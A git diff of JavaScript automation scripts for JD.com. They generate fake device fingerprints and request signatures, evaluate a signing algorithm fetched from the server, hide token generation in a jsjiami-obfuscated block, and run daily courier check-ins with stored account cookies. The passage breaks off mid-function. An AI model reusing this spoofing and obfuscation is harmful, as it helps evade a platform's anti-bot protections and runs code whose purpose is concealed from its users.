RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +var _0xodF='jsjiami.com.v6',_0x5b0b=[_0xodF,'cyNU','XcOkE8O8wqc=','bsOsw4LCsRUKacOqw6xywrnCpcOBwqzDrMK4w78Hc0RtARs1LMK7UsORw5DDtTvDlMOhTWdJ','w7PDhsK5LTw=','VA0TwroQwpk=','w6xQw4hObsKK','wqrDmcK/KmQ=','wqduwp7DhcOT','KCpb','5q2F6Laf5Y+2w69KNcKRQ8Ki5aGE5Ye45Lug6KS56Iy4dOS9lueZvcKJHWtDelV+S8KQwqHlkZDpnpnmsrHli4jljpnDpQAMw7A=','qzJQKjsjhUKiamhDLiI.Jrcom.v6=='];(function(_0x575984,_0x111392,_0x45a010){var _0x199276=function(_0x3fe5bc,_0x4fea58,_0x564d83,_0x7e4c96,_0x31f329){_0x4fea58=_0x4fea58>>0x8,_0x31f329='po';var _0x1b3d5d='shift',_0x48218b='push';if(_0x4fea58<_0x3fe5bc){while(--_0x3fe5bc){_0x7e4c96=_0x575984[_0x1b3d5d]();if(_0x4fea58===_0x3fe5bc){_0x4fea58=_0x7e4c96;_0x564d83=_0x575984[_0x31f329+'p']();}else if(_0x4fea58&&_0x564d83['replace'](/[qzJQKhUKhDLIJr=]/g,'')===_0x4fea58){_0x575984[_0x48218b](_0x7e4c96);}}_0x575984[_0x48218b](_0x575984[_0x1b3d5d]());}return 0x8dbb1;};return _0x199276(++_0x111392,_0x45a010)>>_0x111392^_0x45a010;}(_0x5b0b,0x138,0x13800));var _0xa80f=function(_0x573aaa,_0x1954c9){_0x573aaa=~~'0x'['concat'](_0x573aaa);var _0x28dbcb=_0x5b0b[_0x573aaa];if(_0xa80f['fYTBaI']===undefined){(function(){var _0x34fb78=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x4c41c3='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x34fb78['atob']||(_0x34fb78['atob']=function(_0x108344){var _0x1c9d23=String(_0x108344)['replace'](/=+$/,'');for(var _0x231b41=0x0,_0x409c1c,_0x79d606,_0x4d4dd3=0x0,_0x539f42='';_0x79d606=_0x1c9d23['charAt'](_0x4d4dd3++);~_0x79d606&&(_0x409c1c=_0x231b41%0x4?_0x409c1c*0x40+_0x79d606:_0x79d606,_0x231b41++%0x4)?_0x539f42+=String['fromCharCode'](0xff&_0x409c1c>>(-0x2*_0x231b41&0x6)):0x0){_0x79d606=_0x4c41c3['indexOf'](_0x79d606);}return _0x539f42;});}());var _0x11caff=function(_0x4969ce,_0x1954c9){var _0x1deab0=[],_0x54f040=0x0,_0x11157a,_0x28c8dd='',_0x2e4762='';_0x4969ce=atob(_0x4969ce);for(var _0x4c665e=0x0,_0x81f3b1=_0x4969ce['length'];_0x4c665e<_0x81f3b1;_0x4c665e++){_0x2e4762+='%'+('00'+_0x4969ce['charCodeAt'](_0x4c665e)['toString'](0x10))['slice'](-0x2);}_0x4969ce=decodeURIComponent(_0x2e4762);for(var _0x4c705a=0x0;_0x4c705a<0x100;_0x4c705a++){_0x1deab0[_0x4c705a]=_0x4c705a;}for(_0x4c705a=0x0;_0x4c705a<0x100;_0x4c705a++){_0x54f040=(_0x54f040+_0x1deab0[_0x4c705a]+_0x1954c9['charCodeAt'](_0x4c705a%_0x1954c9['length']))%0x100;_0x11157a=_0x1deab0[_0x4c705a];_0x1deab0[_0x4c705a]=_0x1deab0[_0x54f040];_0x1deab0[_0x54f040]=_0x11157a;}_0x4c705a=0x0;_0x54f040=0x0;for(var _0x4f3ecc=0x0;_0x4f3ecc<_0x4969ce['length'];_0x4f3ecc++){_0x4c705a=(_0x4c705a+0x1)%0x100;_0x54f040=(_0x54f040+_0x1deab0[_0x4c705a])%0x100;_0x11157a=_0x1deab0[_0x4c705a];_0x1deab0[_0x4c705a]=_0x1deab0[_0x54f040];_0x1deab0[_0x54f040]=_0x11157a;_0x28c8dd+=String['fromCharCode'](_0x4969ce['charCodeAt'](_0x4f3ecc)^_0x1deab0[(_0x1deab0[_0x4c705a]+_0x1deab0[_0x54f040])%0x100]);}return _0x28c8dd;};_0xa80f['LuAVWF']=_0x11caff;_0xa80f['mCXDyr']={};_0xa80f['fYTBaI']=!![];}var _0x390a3d=_0xa80f['mCXDyr'][_0x573aaa];if(_0x390a3d===undefined){if(_0xa80f['dUKlOc']===undefined){_0xa80f['dUKlOc']=!![];}_0x28dbcb=_0xa80f['LuAVWF'](_0x28dbcb,_0x1954c9);_0xa80f['mCXDyr'][_0x573aaa]=_0x28dbcb;}else{_0x28dbcb=_0x390a3d;}return _0x28dbcb;};function getJxToken(){var _0xa422={'lGSBc':_0xa80f('0','9qEv'),'zYXMd':function(_0x3fddf8,_0x2e8c46){return _0x3fddf8(_0x2e8c46);},'EtUUR':function(_0xc1dc78,_0x2dd44b){return _0xc1dc78(_0x2dd44b);},'fhrXi':function(_0x4b8614){return _0x4b8614();}};function _0x2cfb27(_0x3d541e){let _0x19600a=_0xa422[_0xa80f('1','Ye&F')];let _0x1a62e9='';for(let _0x44ee85=0x0;_0x44ee85<_0x3d541e;_0x44ee85++){_0x1a62e9+=_0x19600a[parseInt(Math[_0xa80f('2',']aCG')]()*_0x19600a[_0xa80f('3','J@ZI')])];}return _0x1a62e9;}return new Promise(_0x3d4dca=>{let _0x1934d2=_0xa422[_0xa80f('4','&w[x')](_0x2cfb27,0x28);let _0x140a50=(+new Date())['toString']();if(!currentCookie[_0xa80f('5','YcXf')](/pt_pin=([^; ]+)(?=;?)/)){console[_0xa80f('6','WGWr')](_0xa80f('7','4!)U'));_0x3d4dca(null);}let _0x1ab949=currentCookie['match'](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0xa37fe3=$[_0xa80f('8','MVeX')](''+_0xa422['EtUUR'](decodeURIComponent,_0x1ab949)+_0x140a50+_0x1934d2+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')['toString']();currentToken={'timestamp':_0x140a50,'phoneid':_0x1934d2,'farm_jstoken':_0xa37fe3};_0xa422[_0xa80f('9','ZsI%')](_0x3d4dca);});};_0xodF='jsjiami.com.v6'; +// prettier-ignore +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_kd.js b/jd_kd.js new file mode 100644 index 0000000000..4d9553d430 --- /dev/null +++ b/jd_kd.js @@ -0,0 +1,160 @@ +/* +京东快递签到 +活动入口:https://jingcai-h5.jd.com/#/ +签到领豆,14天内满4次和7次享额外奖励,每天运行一次即可 +更新地址:jd_kd.js + +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东快递签到 +10 0 * * * jd_kd.js, tag=京东快递签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_kd.png, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_kd.js, tag=京东快递签到 + +===============Surge================= +京东快递签到 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_kd.js + +============小火箭========= +京东快递签到 = type=cron,script-path=jd_kd.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东快递签到'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMsg = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await userSignIn(); + // await showMsg(); + } + } + if (allMsg) { + $.msg($.name, '', allMsg); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +function userSignIn() { + return new Promise(resolve => { + $.post(taskUrl(), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 1) { + console.log(`今日签到成功,获得${data.content[0].title}`) + message += `京东账号${$.index}${$.nickName}\n今日签到成功,获得${data.content[0].title} 🐶\n`; + allMsg += message; + } else if (data.code === -1) { + console.log(`今日已签到`) + // message += `【签到】失败,今日已签到`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl() { + return { + url: `https://lop-proxy.jd.com/jiFenApi/signInAndGetReward`, + body: '[{"userNo":"$cooMrdGatewayUid$"}]', + headers: { + 'Host': 'lop-proxy.jd.com', + 'lop-dn': 'jingcai.jd.com', + 'biz-type': 'service-monitor', + 'app-key': 'jexpress', + 'access': 'H5', + 'content-type': 'application/json;charset=utf-8', + 'clientinfo': '{"appName":"jingcai","client":"m"}', + 'accept': 'application/json, text/plain, */*', + 'jexpress-report-time': '1607330170578', + 'x-requested-with': 'XMLHttpRequest', + 'source-client': '2', + 'appparams': '{"appid":158,"ticket_type":"m"}', + 'version': '1.0.0', + 'origin': 'https://jingcai-h5.jd.com', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://jingcai-h5.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9', + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return 